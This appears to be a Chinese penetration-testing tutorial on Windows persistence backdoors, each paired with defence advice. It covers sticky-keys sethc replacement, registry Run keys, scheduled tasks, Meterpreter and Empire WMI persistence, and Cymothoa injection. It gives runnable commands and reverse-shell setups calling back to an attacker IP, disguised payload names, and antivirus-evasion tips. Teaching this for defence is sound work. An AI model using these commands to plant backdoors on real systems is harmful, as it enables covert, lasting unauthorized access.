用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。
在进行信息收集、权限提升、横向移动后,接下来就是需要进行权限维持,权限维持是内网后渗透攻击中的关键阶段,其核心目标是在目标系统上建立隐蔽、稳定、长期的控制通道,即使系统重启、用户注销、密码更改或管理员清理部分痕迹后,攻击者仍能重新获得访问权限。
一、核心目标与原则
-
隐蔽性: 避免被管理员、安全软件(AV/EDR)、SIEM系统检测。
-
稳定性: 确保后门在各种系统状态(重启、注销、网络变化)下都能可靠触发。
-
冗余性: 通常部署多个不同类型的后门,以防某个被清除。
-
低权限触发: 尽可能在低权限用户上下文中实现持久化,避免需要管理员权限才能触发(但获取管理员权限通常是部署的基础)。
-
最小化足迹: 减少文件落地、注册表修改等操作,利用合法机制。
二、主要权限维持技术分类
主要权限维持技术有操作系统后门以及防范,Web后门以及防范,域控制器权限持久化以及防范,Nishang下的脚本后门以及防范,这里我们先讲述第一个操作系统后门以及防范。
1、操作系统后门以及防范
定义: 指攻击者在目标操作系统(Windows, Linux, macOS)上植入的,能够在系统启动、用户登录或特定事件发生时自动激活,并为攻击者提供远程访问或命令执行权限的恶意程序或配置。接下来就是讲述几个常见的操作系统后门,
1)粘滞键后门
原理: 利用Windows辅助功能中的“粘滞键”(按五次Shift键触发)机制。攻击者将系统文件 sethc.exe
(粘滞键程序)替换为 cmd.exe
(命令提示符)或者一个特制的后门程序(通常命名为 sethc.exe
)。
触发方式: 在Windows登录界面(锁定屏幕或需要输入密码的界面),连续按五次 Shift
键。
首先需要获取文件所有权
takeown /f C:\Windows\System32\sethc.exe
然后再修改文件权限
icacls C:\Windows\System32\sethc.exe /grant administrators:F
之后进行复制覆盖
copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
🔒 如何防御此攻击?
防护措施 | 操作步骤 |
---|---|
禁用粘滞键 | 控制面板 → 轻松使用 → 键盘 → 取消勾选“启用粘滞键” |
文件权限加固 | 设置 sethc.exe 的 ACL:仅允许 SYSTEM 和 TrustedInstaller 完全控制 |
启用BitLocker加密 | 防止攻击者通过外部系统修改硬盘中的系统文件 |
审计系统文件完整性 | 定期检查 System32 下关键程序(sethc.exe/utilman.exe)的哈希值是否被篡改 |
组策略限制 | gpedit.msc → 计算机配置→Windows设置→安全设置→本地策略→安全选项:启用“交互式登录:无需按Ctrl+Alt+Del” |
2)注册表注入后门
原理: 修改Windows注册表中特定的自动启动项键值,将恶意程序路径添加到系统或用户登录时自动加载的程序列表中。
触发方式: 系统启动、用户登录、服务启动、特定程序加载(AppInit_DLLs)。
这里我们使用msfconsole来完成,
# 1. 启动 msfconsole
msfconsole
# 2. 使用 exploit/windows/local/persistence 模块
use exploit/windows/local/persistence
# 3. 设置会话 ID(需先获得目标系统的 Meterpreter 会话)
set SESSION 1 # 根据实际会话 ID 修改
# 4. 配置监听地址和端口
set LHOST 192.168.1.100 # 你的攻击机 IP
set LPORT 4444
# 5. 选择注册表位置(可选参数)
set REGKEYNAME Software\Microsoft\Windows\CurrentVersion\Run # 默认值
# 6. 执行
run
设置后门成功,接下来就是通过设置监听模块进行监听,再重启目标机即可连接
由于虚拟机操作系统有些问题,没有连接上
以下是 Windows 系统中常用的持久性注册表路径:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
(当前用户启动项)HKLM\Software\Microsoft\Windows\CurrentVersion\Run
(所有用户启动项)HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
(登录初始化)HKLM\SYSTEM\CurrentControlSet\Services
(服务注册表)
注意事项
- 权限要求:写入
HKLM
路径需要管理员权限,HKCU
则不需要。 - 杀软检测:实际情况下,直接添加可执行文件路径易被检测,建议结合免杀技术(如使用 DLL 注入、混淆脚本)。
核心防御策略
-
最小权限原则:
-
用户账户: 日常使用非管理员账户。管理员权限仅用于安装软件或系统配置。
-
服务账户: 确保服务运行在所需的最低权限账户下。
-
注册表权限: 严格控制敏感注册表项(如
Run
,RunOnce
, 服务相关键、文件关联键、Winlogon键等)的写入权限。默认情况下,很多关键位置允许Users组写入,这是重大风险。
-
3)计划任务后门
原理: 利用Windows任务计划程序创建一个计划任务,该任务会在特定时间、系统启动时、用户登录时、系统空闲时或按特定周期触发执行恶意程序。在windows 7以及之前版本使用at命令创建计划任务,windows 8之后使用schtasks命令。计划任务后门分为管理员权限和普通用户权限两种。
触发方式: 根据任务配置触发(定时、登录、空闲、事件等)。
计划任务后门的基本命令如下
schtasks /Create /tn Updater /tr shell.exe /sc hourly /mo 1
//该命令表示每一个小时执行一次shell.exe
主要有三种渗透测试平台能够模拟计划任务后门,msfconsole,powersploit,empire,这里我们只讲述msfconsole,其它两个这里不再讲述。
# 1. 启动 msfconsole
msfconsole
# 2. 使用 powershell/web_delivery 模块
use exploit/multi/script/web_delivery
set PAYLOAD windows/meterpreter/reverse_tcp # 选择反弹 shell 类型
set LHOST 192.168.1.100 # 你的攻击机 IP
set LPORT 4444
set SRVHOST 0.0.0.0 # 监听所有接口
set URIPATH /update # 自定义 URL 路径(增加隐蔽性)
run
执行后,MSF 会在本地启动一个 HTTP 服务器,并生成一段 PowerShell 代码
然后我们在代码前面再加上其计划任务后门的基本命令,即可完成一个任务后门
放在目标机进行运行,图中并没有加上计划任务命令,大家自行操作
最后再监听成功连接
注意事项
- 网络连通性:目标机必须能够访问攻击机的 IP 和端口(建议使用域名 + 443 端口)。
- 权限要求:创建系统级计划任务需管理员权限。
防御建议
-
权限管控
-
限制修改权限:仅允许管理员修改系统级任务(如 Linux
/etc/cron*
目录权限设为root
,Windows 任务设置 ACL)。 -
禁用普通用户创建任务(如 Linux 限制
crontab
命令使用)。
-
-
审计与监控
-
启用日志:Linux 检查
/var/log/cron
,Windows 查看「事件查看器」中的任务日志。 -
实时监控:使用工具(如 Auditd、SIEM)监控任务配置文件的变更。
-
-
定期审查
-
手动检查:定期运行
crontab -l
(Linux)或Get-ScheduledTask
(Windows PowerShell)。 -
自动化扫描:使用安全工具(如 Lynis、OSQuery)检测异常任务。
-
-
安全加固
-
删除无用任务:停用默认或遗留的冗余任务。
-
文件完整性检查:监控系统目录(如
/etc/cron.d/
)的哈希值变动。
-
-
应急响应
-
预设清除流程:发现后门立即终止任务、删除文件、溯源并修复漏洞。
-
4)meterpreter后门
原理: Meterpreter是Metasploit框架中的一个高级、内存驻留型的攻击载荷。Meterpreter后门通常指使用 msfvenom
生成一个独立的可执行文件(.exe, .dll)或脚本(.ps1, .py, .js等),该文件在目标系统上执行后会与Metasploit的监听器建立连接,并注入Meterpreter载荷到内存中运行。
触发方式: 用户直接执行、通过其他漏洞或后门触发执行、文档宏、快捷方式漏洞(LNK)、计划任务等加载。
在这里,我们使用persistence模块来进行创建基础持久化后门。
use exploit/windows/local/persistence
set SESSION 1 # 根据实际会话 ID 修改
# 3. 配置持久化参数(以下为推荐配置)
set LHOST 192.168.1.100 # 与 handler 相同的 IP
set LPORT 4444 # 与 handler 相同的端口
set REGISTRY_KEY HKCU # 注册表位置(HKCU=当前用户,HKLM=所有用户,需管理员权限)
set STARTUP true # 开机自启动
set EXE_NAME windowsupdate.exe # 伪装成系统更新程序
set OBFUSCATE true # 混淆脚本(降低被杀毒软件检测的概率)
# 4. 执行创建
run
成功进行后门注入
接下来通过监听模块并且重启目标机即可连接
注意事项
- 隐蔽性: 通信隐蔽性低(默认配置下),是其最大弱点。需配合加密(如
SSL/TLS
)、混淆、域前置等技术以及强大的免杀手段来提高隐蔽性。 - 权限管理:
HKLM
注册表项需要管理员权限,普通用户只能修改HKCU
。
防御建议
* 及时打补丁:定期更新操作系统、软件及框架(如Java, Adobe, Office),封堵漏洞入口。
* 最小权限原则:用户和进程使用最低必要权限,限制管理员权限滥用。
* 强化配置:禁用不必要的服务/端口(如SMBv1, RDP)、关闭宏执行、限制脚本运行(PowerShell受限模式)。
* 主机防火墙:严格限制入站/出站连接(仅允许必需通信)。
5)Cymothoa后门
原理: Cymothoa是一种进程注入工具/后门。它通过将恶意Shellcode注入到目标主机上一个已存在的、正在运行的进程(如 svchost.exe
, explorer.exe
)的地址空间中,并在该进程中创建一个新的线程来执行Shellcode。这个Shellcode通常是一个反向连接或绑定Shell的后门。
触发方式: 需要先由攻击者执行Cymothoa程序(通常需管理员权限)选择目标进程进行注入。
效果: 后门代码寄生在合法进程内运行。攻击者获得一个Shell会话(权限取决于目标进程权限)。Cymothoa的一个独特功能是支持“端口复用”,即让后门复用目标进程已经打开的某个网络端口(如80、443)进行通信,极大增加网络隐蔽性。
这里我只说明其如何使用,这个工具kali自带,想要自己下载的,项目地址:cymothoa download | SourceForge.net
防御建议
- 限制 PowerShell:禁用未签名脚本,启用执行策略(如 Restricted)。
- 监控异常:关注可疑 PowerShell 活动(如编码执行)、不明 IP / 端口连接、注册表 / 计划任务异常修改。
- 补丁与密码:及时打系统补丁,用强密码,避免弱权限账户。
- 软件管控:用白名单限制未知程序运行,部署 EDR 检测恶意行为。
- 定期审计:检查异常进程、文件,清理可疑残留。
6)WMI后门
-
原理: 利用Windows Management Instrumentation的事件订阅机制。攻击者创建一个永久的WMI事件过滤器和一个对应的事件消费者。
-
过滤器: 定义触发条件(如特定时间间隔
__IntervalTimer
、系统启动__InstanceCreationEvent within __NAMESPACE
、用户登录__InstanceCreationEvent of Win32_LogonSession
、特定进程创建/结束等)。 -
消费者: 定义触发后执行的操作(如执行一个活动脚本
ActiveScriptEventConsumer
- VBS/JS,或一个命令行CommandLineEventConsumer
)。
-
-
触发方式: 当过滤器定义的事件发生时(如每X分钟、每次启动、每次登录),系统自动调用消费者执行恶意脚本或命令。
这里我们使用的是Empire 框架中,Invoke-WMI
模块创建基于 WMI(Windows Management Instrumentation)的持久化后门。WMI 后门利用系统原生组件,无需写入文件,隐蔽性极高。由于作者系统问题,empire工具存在一些问题,这里只讲述步骤和命令,操作不再展示
启动 Empire 并创建监听
# 启动 Empire 服务器
./empire --rest --username empireadmin --password Password123!
# 连接到 Empire 控制台(新终端)
./empire
# 创建 HTTP 监听
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Host http://192.168.1.100:8080 # 攻击机 IP 和端口
(Empire: listeners/http) > execute
使用 Invoke-WMI
模块创建后门
# 进入模块
(Empire: main) > usemodule persistence/windows/wmi
# 配置参数
(Empire: modules/persistence/windows/wmi) > set Listener http # 使用上面创建的监听
(Empire: modules/persistence/windows/wmi) > set Name SystemUpdate # WMI 事件名称(伪装成系统更新)
(Empire: modules/persistence/windows/wmi) > set EventFilter ProcessCreation # 事件类型(进程创建)
(Empire: modules/persistence/windows/wmi) > set Trigger "ProcessName LIKE '%explorer.exe%'" # 触发条件
(Empire: modules/persistence/windows/wmi) > execute
触发后门测试
# 手动启动 explorer.exe 进程触发(或重启系统)
Start-Process explorer.exe
注意事项
- 权限要求:创建 WMI 后门需要管理员权限(
NT AUTHORITY\SYSTEM
)。
防御建议
-
监控 WMI 活动
- 使用 Windows 事件日志(事件 ID 5861)监控 WMI 过滤器创建。
- 部署 EDR 工具检测异常 WMI 事件订阅。
-
限制 WMI 权限
- 通过组策略限制普通用户访问 WMI 命名空间。
- 使用 AppLocker 或 WDAC 阻止未授权的 WMI 脚本执行。
接下来对各个后门方式进行总结与对比
后门类型 | 主要依赖机制 | 触发条件 | 显著优点 | 显著缺点/检测关键点 | 隐蔽性评价 |
---|---|---|---|---|---|
粘滞键后门 | 文件替换 (sethc) | 登录界面按5次Shift | 登录前获取SYSTEM CMD | 需替换系统文件,易被文件监控 | 中等偏低 |
注册表后门 | 注册表自启动项 | 启动/登录 | 方法多样,原生支持 | 注册表键值易被扫描 (Autoruns) | 中等 |
计划任务后门 | 任务计划程序 | 定时/登录/空闲/事件 | 灵活,高权限,可伪装 | 任务列表可查 (schtasks) | 中等到高 |
Meterpreter | 可执行文件/脚本 | 执行文件 | 功能极其强大 | 通信特征明显,易被检测拦截 | 通信隐蔽性低 |
Cymothoa | 进程注入 & 端口复用 | 注入操作 (需先执行) | 进程寄生 & 端口复用高隐蔽 | 注入操作监控,内存分析 | 高 |
WMI后门 | WMI 事件订阅 | 定时/启动/登录/事件 | 无文件存储,系统进程执行 | 需查WMI仓库 (特定命令/工具) | 非常高 |
操作系统比较常见的后门总结差不多,接下来就是Web后门以及防范 。